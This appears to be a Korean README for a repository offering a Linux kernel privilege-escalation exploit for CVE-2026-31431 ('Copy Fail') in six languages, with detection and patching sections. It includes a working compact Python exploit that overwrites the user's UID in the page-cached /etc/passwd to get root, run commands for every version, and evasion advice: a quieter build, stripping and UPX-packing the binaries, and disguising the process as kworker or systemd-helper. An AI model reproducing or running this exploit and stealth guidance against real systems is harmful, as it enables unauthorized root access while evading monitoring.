
# CVE-2026-31431 다국어 교육용 익스플로잇 구현 algif_aead 모듈을 통한 Linux 커널 로컬 권한 상승 취약점으로, 안전한 탐지기와 CTF 사용 가이드를 포함합니다.
교육용 저장소: Copy Fail 익스플로잇의 다중 언어 구현.
@shotafry가 작성 및 유지 관리 — CVE를 읽는 것만으로는 부족하다. 직접 재현해야 한다.
Copy Fail은 Linux 커널의 로컬 권한 상승(LPE) 취약점으로, CVE-2026-31431로 분류됩니다. 커널의 암호화 하위 시스템, 구체적으로 AF_ALG 소켓을 통해 인증 암호화(AEAD) 작업을 처리하는 algif_aead 모듈에 영향을 미칩니다.
이 결함은 2017년 authencesn 모듈의 최적화 과정에서 도입되었으며, 거의 9년 동안 탐지되지 않은 채 사실상 모든 최신 Linux 배포판에 존재했습니다.
Copy Fail을 다른 역사적 LPE와 구별 짓는 특징:
이 취약점은 Theori 연구팀의 Taeyang Lee가 발견했습니다. 전체 익스플로잇 체인은 Xint Code Research 팀이 개발했으며, Linux 커널의 crypto/ 하위 시스템에 대한 AI 지원 분석을 사용해 이 과정을 문서화했습니다.
공개 공개에는 기능하는 PoC, 완전한 기술 분석 및 copy.fail의 문서가 포함됩니다.
CVE: CVE-2026-31431
CVSS: 7.8 — 높음
Vector: 로컬
Impacto: 완전한 권한 상승 (root)
Distros: 패치되지 않은 2017년 이상 커널을 사용하는 모든 Linux 배포판
CVSS는 7.8이며 사전 로컬 액세스가 필요하기 때문에만 치명적(9+)이 아닙니다 — 공격자는 이미 시스템에 세션이 있어야 합니다. 클라우드 환경과 Docker 컨테이너에서는 이 요구 사항이 보기보다 훨씬 충족하기 쉽습니다.
Linux 커널은 최근에 읽은 파일을 RAM에 저장합니다. 이를 **페이지 캐시(page cache)**라고 합니다. 프로세스가 /etc/passwd를 읽을 때 커널은 디스크로 가지 않습니다 — RAM의 복사본을 제공합니다. 더 빠르지만 공격 표면을 만듭니다: 디스크를 건드리지 않고 RAM의 복사본을 수정할 수 있다면 시스템은 가짜 데이터를 보게 됩니다.
algif_aead 모듈은 AF_ALG 소켓을 통해 사용자 공간에서 AEAD 작업을 수행할 수 있게 합니다. 버그는 2017년에 도입된 최적화에 있습니다: splice()를 사용하여 파일의 페이지를 소켓으로 전달할 때, 페이지 캐시의 해당 페이지가 암호화 작업의 대상(쓰기 가능한) 산란 목록에 포함됩니다.
결과: 권한이 없는 사용자는 디스크를 건드리지 않고 읽을 수 있는 모든 파일에 제어된 4바이트를 쓸 수 있습니다.
권한 없는 사용자
│
▼
AF_ALG 소켓 열기 (authencesn)
│
▼
sendmsg() — seqno_lo에 우리의 4바이트가 포함된 AEAD 매개변수
│
▼
splice() — 파일 → 파이프 → 소켓 op
[버그] 파일의 페이지 캐시가 대상 산란 목록에 남음
│
▼
recv()가 AEAD 작업 트리거
인증 실패(EBADMSG)하지만 스크래치 쓰기는 이미 발생함
│
▼
/etc/passwd (페이지 캐시) 이제: 사용자 → UID 0
│
▼
su <사용자> → PAM이 실제 비밀번호 검증 → setuid(0) → ROOT
커널이 성의 기록부(/etc/passwd)를 가지고 있다고 상상해 보세요. Copy Fail은 특정 순서로 성의 마법 작업장을 열면 기록부가 실수로 작업대 위에 남는다는 것을 발견하는 것과 같습니다 — 그리고 펜으로 "이등병"에서 "왕"으로 계급을 바꿀 수 있습니다. 기록 담당자(PAM)는 비밀번호를 확인하지만 원본 기록부는 확인하지 않고, 눈앞의 복사본만 확인합니다. 당신은 왕입니다.

>= ~2017algif_aead 모듈 사용 가능 및 로드 가능이 단계는 건너뛰고 익스플로잇 중 하나를 직접 시도할 수도 있지만, 업로드하거나 생성하는 것을 원하지 않고 작동하는지 확인만 하려는 경우에도 유효합니다. 그러나 익스플로잇에는 대상 시스템이 취약한지 확인하는 자체 기능이 있습니다.
# 커널 버전 확인
uname -a
# 알고리즘 사용 가능 여부 확인
grep -i authencesn /proc/crypto
# 모듈 로드 여부 확인
lsmod | grep alg
grep -i authencesn /proc/crypto가 authencesn(hmac(sha256),cbc(aes))를 반환하면 시스템은 취약합니다.
이 저장소에는 6개 언어로 구현된 익스플로잇이 포함되어 있으며, 모두 기능적으로 동일하고 스페인어 교육용 주석이 있습니다.
copy_fail_exploit.c → C — 정적 바이너리, 의존성 제로
copy_fail_exploit.py → Python — 더 읽기 쉬움, 학습에 이상적
copy_fail_exploit.rs → Rust — 아이러니: "안전한" 언어가 커널을 익스플로잇
copy_fail_exploit.go → Go — 정적 바이너리, 매우 이식성 높음
copy_fail_exploit.rb → Ruby — Rails 서버에 널리 존재
copy_fail_exploit.pl → Perl — 가장 조용함, 모든 Linux에 존재
test_cve_2026_31431.py → 탐지기 — 아무것도 익스플로잇하지 않고 취약성 확인
python3 test_cve_2026_31431.py
# 컴파일
gcc copy_fail_exploit.c -o copy_fail_c
# Dry-run (종료 시 정리, 흔적 없음)
./copy_fail_c
# 전체 익스플로잇
./copy_fail_c --shell
# Dry-run
python3 copy_fail_exploit.py
# 전체 익스플로잇
python3 copy_fail_exploit.py --shell
# 컴파일
rustc copy_fail_exploit.rs -o copy_fail_rs
# Dry-run
./copy_fail_rs
# 전체 익스플로잇
./copy_fail_rs --shell
# 컴파일
go build -o copy_fail_go copy_fail_exploit.go
# Dry-run
./copy_fail_go
# 전체 익스플로잇
./copy_fail_go --shell
# Dry-run
ruby copy_fail_exploit.rb
# 전체 익스플로잇
ruby copy_fail_exploit.rb --shell
# Dry-run
perl copy_fail_exploit.pl
# 전체 익스플로잇
perl copy_fail_exploit.pl --shell
# Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env
# Go
apt install golang-go
# Ruby (Kali에 보통 사전 설치됨)
apt install ruby
# Perl (거의 항상 존재)
perl --version
익스플로잇을 실행한 후(su 전에), 페이지 캐시의 변경을 시각적으로 확인할 수 있습니다:
# 터미널 1: 실시간 모니터링
watch -n 0.5 'grep tuusuario /etc/passwd'
# 터미널 2: 익스플로잇 실행
python3 copy_fail_exploit.py --shell
UID 필드가 1000에서 0000으로 실시간으로 변경되는 것을 볼 수 있습니다. su 이후:
id
# uid=0(root) gid=0(root) groups=0(root)
재부팅 없이 정리하려면 (root 셸에서):
echo 3 > /proc/sys/vm/drop_caches
[*] CVE-2026-31431 LPE usuario=shotafry uid=1000
[*] /etc/passwd: usuario 'shotafry' — UID 필드 오프셋 3118 = '1000'
[*] write4 적용: '1000' -> '0000' 페이지 캐시에서...
[+] 페이지 캐시 이제 오프셋 3118에 UID 0 표시
[+] /etc/passwd (페이지 캐시) 이제 shotafry를 UID 0으로 나열
[+] 실행: su shotafry
[+] 비밀번호 입력. su가 setuid(0) 수행 → root 셸.
디스크는 절대 수정되지 않습니다. 재부팅이나 drop_caches는 모든 것을 원래 상태로 복원합니다.
Copy Fail은 커널이 패치되지 않은 모든 Linux CTF 또는 권한 상승 실습실에서 관련이 있습니다.
algif_aead 모듈은 강화된 환경에서 비활성화될 수 있음 — 탐지기가 AF_ALG 단계에서 실패하면 다른 벡터를 찾으세요# 1. 커널 확인
uname -a
# 2. 탐지기
python3 test_cve_2026_31431.py
# 3. 취약하면 익스플로잇
python3 copy_fail_exploit.py --shell
# 4. 이후 정리
echo 3 > /proc/sys/vm/drop_caches
이 저장소의 구현은 교육적 설계로 주석이 있고 장황합니다. 실제 침투 테스트 맥락에서는 더 조용한 버전이 필요할 것입니다.
익스플로잇의 핵심은 5개의 syscall입니다: socket, bind, setsockopt, sendmsg, splice. 나머지는 모두 장식입니다. 조용한 버전은 모든 출력을 제거하고 코드를 최소 기능으로 줄입니다.
# 출력 없는 컴팩트 버전 — 동일한 기능, 더 작은 탐지 표면
import os, socket, struct, pwd
def w4(p, o, b):
f = os.open(p, 0); os.read(f, 4096)
m = socket.socket(38, 5, 0)
m.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
m.setsockopt(279, 1, struct.pack("HH", 8, 1) + struct.pack(">I", 16) + b"\x00"*48)
op, _ = m.accept()
aad = b"\x00\x00\x00\x00" + b
op.sendmsg([aad], [(279,3,struct.pack("I",0)),(279,2,struct.pack("I",16)+b"\x00"*16),(279,4,struct.pack("I",8))], 32768)
pr, pw = os.pipe()
os.splice(f, pw, 32, offset_src=o); os.splice(pr, op.fileno(), 32)
try: op.recv(64)
except: pass
[os.close(x) for x in [pr,pw,op.fileno(),m.fileno(),f]]
u = pwd.getpwuid(os.getuid()).pw_name
d = open("/etc/passwd","rb").read()
i = d.index(u.encode()+b":")+len(u)+1
i = d.index(b":",i)+1
w4("/etc/passwd", i, b"0000")
os.execvp("su", ["su", u])
⚠️ 참고: 안티바이러스와 EDR은 난독화 패턴(압축된 imports, 한 문자 함수 이름, zlib+hex 체인)을 탐지합니다. 정적으로 컴파일된 C 바이너리는 모니터링 환경에서 여전히 가장 조용한 옵션입니다.
strip이 적용된 C 바이너리: gcc exploit.c -o exploit && strip exploit — 디버그 심볼 제거upx --best exploit — 바이너리 압축, 서명 변경ps에서 눈에 띄지 않도록 kworker 또는 systemd-helper로 이름 지정# Debian/Ubuntu/Kali
apt update && apt upgrade
# RHEL/CentOS/Fedora
dnf update
# Arch
pacman -Syu
즉시 패치할 수 없다면 취약한 모듈을 비활성화하세요:
# 모듈 비활성화
rmmod algif_aead 2>/dev/null
# 향후 로드 방지
echo "install algif_aead /bin/false" >> /etc/modprobe.d/disable-algif.conf
python3 test_cve_2026_31431.py
# [+] Page cache intact. NOT vulnerable on this kernel.
패치는 호스트 커널에 적용해야 합니다 — 컨테이너는 커널을 공유하며 이 취약점으로부터 격리되지 않습니다. 컨테이너 이미지만 업데이트하는 것은 아무런 보호 효과가 없습니다.
CVE-2026-31431-Copy-Fail/
├── README.md ← 이 파일 (ES)
├── README_ENGLISH.md ← 영어 버전
├── copy_fail_exploit.c ← C 익스플로잇
├── copy_fail_exploit.py ← Python 익스플로잇
├── copy_fail_exploit.rs ← Rust 익스플로잇
├── copy_fail_exploit.go ← Go 익스플로잇
├── copy_fail_exploit.rb ← Ruby 익스플로잇
├── copy_fail_exploit.pl ← Perl 익스플로잇
├── test_cve_2026_31431.py ← 탐지기 (안전, 아무것도 수정하지 않음)
└── assets/
├── Infografia.png ← 익스플로잇 인포그래픽
├── Exploit en C.png ← C 익스플로잇 실행 캡처
└── passwd.png ← 취약한 시스템에서 탐지기 출력
모두가 이 CVE를 AI 생성 문단 하나와 공식 저장소 링크로 게시하는 동안, 나는 진짜로 하루 종일 공부했습니다: 커널 코드 읽기, 페이지 캐시 이해, 실험실에서 익스플로잇 재현, 그리고 각 계층에서 정확히 무슨 일이 일어나는지 이해하기 위해 6개 언어로 포팅하기.
Rust 버전이 제가 가장 좋아합니다. 메모리 안전에 가장 집착하는 언어를 사용하여 C로 작성된 커널의 결함을 익스플로잇합니다. 아이러니는 스스로 설명됩니다.
이 저장소가 존재하는 이유는 보안 전문가와 단순히 게시물을 공유하는 사람의 차이가 실제로 앉아서 사물을 재현해 보았는지에 있다고 믿기 때문입니다.
authencesn / algif_aead 모듈이 저장소는 교육, 보안 연구, 그리고 본인 소유 또는 서면 명시적 승인이 있는 시스템에서의 테스트 전용입니다.
승인되지 않은 시스템에 이러한 도구를 사용하는 것은 대부분의 관할권에서 불법입니다. 저자는 이 자료의 오용에 대해 책임을 지지 않습니다.
본인 소유이거나 감사 권한이 있는 시스템에서만 테스트하세요.
호기심, 실험실, 그리고 너무 많은 커피 또는 정확히 무알코올 맥주로 만들어졌습니다.
@shotafry
@BrayLozano
| 특징 | Copy Fail | 일반적인 LPE |
|---|
| 레이스 컨디션 필요 | ❌ 아니요 | ✅ 예 |
| 특정 커널 오프셋 필요 | ❌ 아니요 | ✅ 예 |
| 모든 배포판에서 동작 | ✅ 예 | ❌ 일반적으로 아님 |
| 신뢰성 | 100% 결정적 | 가변적 |
| 디스크 수정 | ❌ 아니요 (RAM만) | 경우에 따라 다름 |
| 언어 | 대상 요구 사항 | 사전 컴파일 |
|---|
| C | 없음 (정적 바이너리) | 컴파일 머신의 gcc |
| Python | Python 3.10+ | 아니요 |
| Rust | 없음 (정적 바이너리) | 컴파일 머신의 rustc |
| Go | 없음 (정적 바이너리) | 컴파일 머신의 go |
| Ruby | Ruby + gem fiddle (기본 포함) | 아니요 |
| Perl | Perl 5 (거의 모든 Linux에 포함) | 아니요 |